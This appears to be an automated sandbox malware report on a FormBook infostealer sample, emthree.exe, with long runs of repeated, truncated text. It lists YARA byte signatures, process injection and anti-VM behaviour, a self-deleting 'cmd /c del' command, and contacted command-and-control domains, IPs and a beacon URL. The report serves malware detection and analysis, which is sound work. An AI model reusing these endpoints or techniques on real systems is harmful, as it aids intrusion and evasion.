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Analysis Report emthree.exe

Overview

General Information

Sample 
Name:

emthree.exe

Analysis ID: 323574

MD5: 25b5788669a3a8…

SHA1: 77e07883f131f34…

SHA256: f3024d8a77f7d80…

Tags: PEP

Most interesting Screenshot:

Detection

FormBookFormBook

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for sub

Antivirus / Scanner detection for subAntivirus / Scanner detection for sub……

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through 

Malicious sample detected (through Malicious sample detected (through ……

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for subm

Multi AV Scanner detection for submMulti AV Scanner detection for subm……

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networ

System process connects to networSystem process connects to networ……

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3

Yara detected AntiVM_3Yara detected AntiVM_3

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBook

Yara detected FormBookYara detected FormBook

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia

.NET source code contains potentia.NET source code contains potentia……

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time st

Binary contains a suspicious time stBinary contains a suspicious time st……

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for samp

Machine Learning detection for sampMachine Learning detection for samp……

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into an

Maps a DLL or memory area into anMaps a DLL or memory area into an……

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in a

Modifies the context of a thread in aModifies the context of a thread in a……

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode fun

Modifies the prolog of user mode funModifies the prolog of user mode fun……

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process 

Queues an APC in another process Queues an APC in another process ……

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing tech

Sample uses process hollowing techSample uses process hollowing tech……

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and other

Tries to detect sandboxes and otherTries to detect sandboxes and other……

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization through

Tries to detect virtualization throughTries to detect virtualization through……

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detec

Antivirus or Machine Learning detecAntivirus or Machine Learning detec……

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is bein

Checks if the current process is beinChecks if the current process is bein……

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution 

Contains functionality for execution Contains functionality for execution ……

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access load

Contains functionality to access loadContains functionality to access load……

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native f

Contains functionality to call native fContains functionality to call native f……

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEB

Contains functionality to read the PEBContains functionality to read the PEB

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)

Contains long sleeps (>= 3 min)Contains long sleeps (>= 3 min)

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often fo

Creates a DirectInput object (often foCreates a DirectInput object (often fo……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto function

Detected potential crypto functionDetected potential crypto function

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privileges

Enables debug privilegesEnables debug privileges

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / Us

Found a high number of Window / UsFound a high number of Window / Us……

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / a

Found potential string decryption / aFound potential string decryption / a……

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user 

HTTP GET or POST without a user HTTP GET or POST without a user ……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder 

May sleep (evasive loops) to hinder May sleep (evasive loops) to hinder ……

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proce

Sample execution stops while proceSample execution stops while proce……

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original 

Sample file is different than original Sample file is different than original ……

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLs

Tries to load missing DLLsTries to load missing DLLs

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Malware Configuration

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

emthree.exe (PID: 4600 cmdline: 'C:\Users\user\Desktop\emthree.exe'  MD5: 25B5788669A3A8F35596CE975F0823A7)

emthree.exe (PID: 5772 cmdline: {path} MD5: 25B5788669A3A8F35596CE975F0823A7)

explorer.exe (PID: 3472 cmdline:  MD5: AD5296B280E8F522A8A897C96BAB0E1D)

rundll32.exe (PID: 6240 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cmd.exe (PID: 6256 cmdline: /c del 'C:\Users\user\Desktop\emthree.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

No configs have been found

Source Rule Description Author Strings

00000001.00000002.275755986.0000000000400000.00000
040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000001.00000002.275755986.0000000000400000.00000
040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Startup

Yara Overview

Memory Dumps

Copyright null 2020 Page 4 of 28



Sigma Overview

No Sigma rule has matched

Signature Overview

00000001.00000002.275755986.0000000000400000.00000
040.00000001.sdmp

Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x18429:$sqlite3step: 68 34 1C 7B E1
0x1853c:$sqlite3step: 68 34 1C 7B E1
0x18458:$sqlite3text: 68 38 2A 90 C5
0x1857d:$sqlite3text: 68 38 2A 90 C5
0x1846b:$sqlite3blob: 68 53 D8 7F 8C
0x18593:$sqlite3blob: 68 53 D8 7F 8C

00000006.00000002.489611416.0000000002D9
0000.00000040.00000001.sdmp

JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

00000006.00000002.489611416.0000000002D9
0000.00000040.00000001.sdmp

Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 18 entries

Source Rule Description Author Strings

Source Rule Description Author Strings

1.2.emthree.exe.400000.0.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

1.2.emthree.exe.400000.0.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x8ae8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x8d62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x14885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x14371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x14987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x14aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x977a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x135ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xa473:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1a707:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1b70a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

1.2.emthree.exe.400000.0.unpack Formbook detect Formbook in 
memory

JPCERT/CC 
Incident Response 
Group

0x17629:$sqlite3step: 68 34 1C 7B E1
0x1773c:$sqlite3step: 68 34 1C 7B E1
0x17658:$sqlite3text: 68 38 2A 90 C5
0x1777d:$sqlite3text: 68 38 2A 90 C5
0x1766b:$sqlite3blob: 68 53 D8 7F 8C
0x17793:$sqlite3blob: 68 53 D8 7F 8C

1.2.emthree.exe.400000.0.raw.unpack JoeSecurity_FormBook Yara detected 
FormBook

Joe Security

1.2.emthree.exe.400000.0.raw.unpack Formbook_1 autogenerated rule 
brought to you by 
yara-signator

Felix Bilstein - 
yara-signator at 
cocacoding dot 
com

0x98e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x9b62:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
0x15685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25
74 94
0x15171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
0x158ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0xa57a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 
83 E3 0F C1 EA 06
0x143ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb273:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b507:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c50a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE 
FF FF 6A 00

Click to see the 1 entries

Unpacked PEs
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• AV Detection

• Networking

• Key, Mouse, Clipboard, Microphone and Screen Capturing

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

AV Detection:

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected FormBook

Machine Learning detection for sample

E-Banking Fraud:

Yara detected FormBook

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

.NET source code contains potential unpacker

Binary contains a suspicious time stamp

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion:

Yara detected AntiVM_3

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Copyright null 2020 Page 6 of 28



Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality:

Yara detected FormBook

Mitre Att&ck Matrix

Initial Access Execution Persistence
Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts

Shared
Modules 1

DLL Side-
Loading 1

Process
Injection 5 1 2

Rootkit 1 Credential
API
Hooking 1

Security Software
Discovery 2 2 1

Remote
Services

Credential
API
Hooking 1

Exfiltration Over Other
Network Medium

Encrypted
Channel 1

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initialization
Scripts

DLL Side-
Loading 1

Masquerading 1 Input
Capture 1

Virtualization/Sandbox
Evasion 3

Remote
Desktop
Protocol

Input
Capture 1

Exfiltration Over
Bluetooth

Ingress Tool
Transfer 4

Domain
Accounts

At (Linux) Logon Script
(Windows)

Logon Script
(Windows)

Virtualization/Sandbox
Evasion 3

Security
Account
Manager

Process Discovery 2 SMB/Windows
Admin Shares

Archive
Collected
Data 1

Automated Exfiltration Non-
Application
Layer
Protocol 3

Local
Accounts

At
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Disable or Modify
Tools 1

NTDS Application Window
Discovery 1

Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Application
Layer
Protocol 3

Cloud
Accounts

Cron Network
Logon Script

Network Logon
Script

Process
Injection 5 1 2

LSA
Secrets

Remote System
Discovery 1

SSH Keylogging Data Transfer Size
Limits

Fallback
Channels

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Deobfuscate/Decode
Files or Information 1

Cached
Domain
Credentials

System Information
Discovery 1 1 2

VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled
Task

Startup
Items

Startup Items Obfuscated Files or
Information 3

DCSync Network Sniffing Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly
Used Port

Drive-by
Compromise

Command
and
Scripting
Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Rundll32 1 Proc
Filesystem

Network Service
Scanning

Shared
Webroot

Credential
API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application
Layer Protocol

Exploit Public-
Facing
Application

PowerShell At (Linux) At (Linux) Software
Packing 1 3

/etc/passwd
and
/etc/shadow

System Network
Connections
Discovery

Software
Deployment
Tools

Data
Staged

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply Chain
Compromise

AppleScript At
(Windows)

At (Windows) Timestomp 1 Network
Sniffing

Process Discovery Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols

Compromise
Software
Dependencies
and
Development
Tools

Windows
Command
Shell

Cron Cron DLL Side-Loading 1 Input
Capture

Permission Groups
Discovery

Replication
Through
Removable
Media

Remote
Data
Staging

Exfiltration Over
Physical Medium

Mail Protocols

Behavior Graph
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Behavior Graph
ID: 323574

Sample: emthree.exe

Startdate: 27/11/2020

Architecture: WINDOWS

Score: 100

Malicious sample detected
(through community Yara

rule)

Antivirus / Scanner
detection for submitted

sample

Multi AV Scanner detection
for submitted file 7 other signatures

emthree.exe

3

        started       

C:\Users\user\AppData\...\emthree.exe.log, ASCII

dropped

Tries to detect virtualization
through RDTSC time measurements

emthree.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Sample uses process
hollowing technique

Queues an APC in another
process (thread injection)

explorer.exe

injected

porncamslivechat.com

184.154.50.243, 49746, 80

SINGLEHOP-LLCUS

United States

www.amarilloautoexpress.com

23.27.109.19, 49747, 80

EGIHOSTINGUS

United States

4 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

rundll32.exe

        started       

Modifies the context
of a thread in another

process (thread injection)

Maps a DLL or memory
area into another process

Tries to detect virtualization
through RDTSC time measurements

cmd.exe

1

        started       

conhost.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

emthree.exe 41% Metadefender Browse

emthree.exe 65% ReversingLabs Win32.Trojan.AgentTesla

emthree.exe 100% Avira TR/Kryptik.zirmt

emthree.exe 100% Joe Sandbox ML

No Antivirus matches

Source Detection Scanner Label Link Download

1.2.emthree.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File

No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.metadefender.com/#!/results/file/bzIwMTEyNjJDTEVMTnFzeFFsbGpiMm1ld0w/regular/analysis


Source Detection Scanner Label Link

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.founder.com.cn/cn/bThe 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.tiro.com 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.goodfont.co.kr 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.carterandcone.coml 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.sajatypeworks.com 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.typography.netD 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.founder.com.cn/cn/cThe 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

fontfabrik.com 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.founder.com.cn/cn 0% URL Reputation safe

www.fontbureau.comm 0% URL Reputation safe

www.fontbureau.comm 0% URL Reputation safe

www.fontbureau.comm 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.jiyu-kobo.co.jp/ 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.galapagosdesign.com/DPlease 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.sandoll.co.kr 0% URL Reputation safe

www.fontbureau.comu 0% Avira URL Cloud safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.urwpp.deDPlease 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.zhongyicts.com.cn 0% URL Reputation safe

www.porncamslivechat.com/unx5/?
YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8Q+Tu&Wt
=LhnLHro0q

0% Avira URL Cloud safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

www.sakkal.com 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

www.amarilloautoexpress.com 23.27.109.19 true true unknown

Domains and IPs

Contacted Domains
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porncamslivechat.com 184.154.50.243 true true unknown

www.porncamslivechat.com unknown unknown true unknown

www.asojebu.com unknown unknown true unknown

www.haircuressteampod.com unknown unknown true unknown

Name IP Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

www.porncamslivechat.com/unx5/?
YBZpk4k0=aP/H6rv5dFlIxT1BkbsZYq0qqc+q/KR6FDazEtWbPmCTekqgSoQQ9LKqFpQ/1cw8
Q+Tu&Wt=LhnLHro0q

true Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

www.apache.org/licenses/LICENSE-2.0 emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.fontbureau.com emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, emthree.exe, 
00000000.00000002.2389704
30.00000000019F7000.00000004.0
0000040.sdmp, explorer.exe, 00
000002.00000000.262419309.0000
00000BC30000.00000002.00000001
.sdmp

false high

www.fontbureau.com/designersG emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.fontbureau.com/designers/? emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.founder.com.cn/cn/bThe emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers? emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.tiro.com explorer.exe, 00000002.0000000
0.262419309.000000000BC30000.0
0000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers explorer.exe, 00000002.0000000
0.262419309.000000000BC30000.0
0000002.00000001.sdmp

false high

www.goodfont.co.kr emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.carterandcone.coml emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.sajatypeworks.com emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.typography.netD emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Contacted URLs

URLs from Memory and Binaries
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www.fontbureau.com/designers/cabarga.htmlN emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.founder.com.cn/cn/cThe emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.galapagosdesign.com/staff/dennis.htm emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

fontfabrik.com emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.founder.com.cn/cn emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers/frere-jones.html emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.fontbureau.comm emthree.exe, 00000000.00000002
.238970430.00000000019F7000.00
000004.00000040.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.jiyu-kobo.co.jp/ emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.galapagosdesign.com/DPlease emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.com/designers8 emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.fonts.com emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false high

www.sandoll.co.kr emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
000004.00000001.sdmp, explorer.exe, 
00000002.00000000.262419309.000000
000BC30000.00000002.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.fontbureau.comu emthree.exe, 00000000.00000002
.238970430.00000000019F7000.00
000004.00000040.sdmp

false Avira URL Cloud: safe unknown

www.urwpp.deDPlease emthree.exe, 00000000.00000002
.243864150.0000000007352000.00
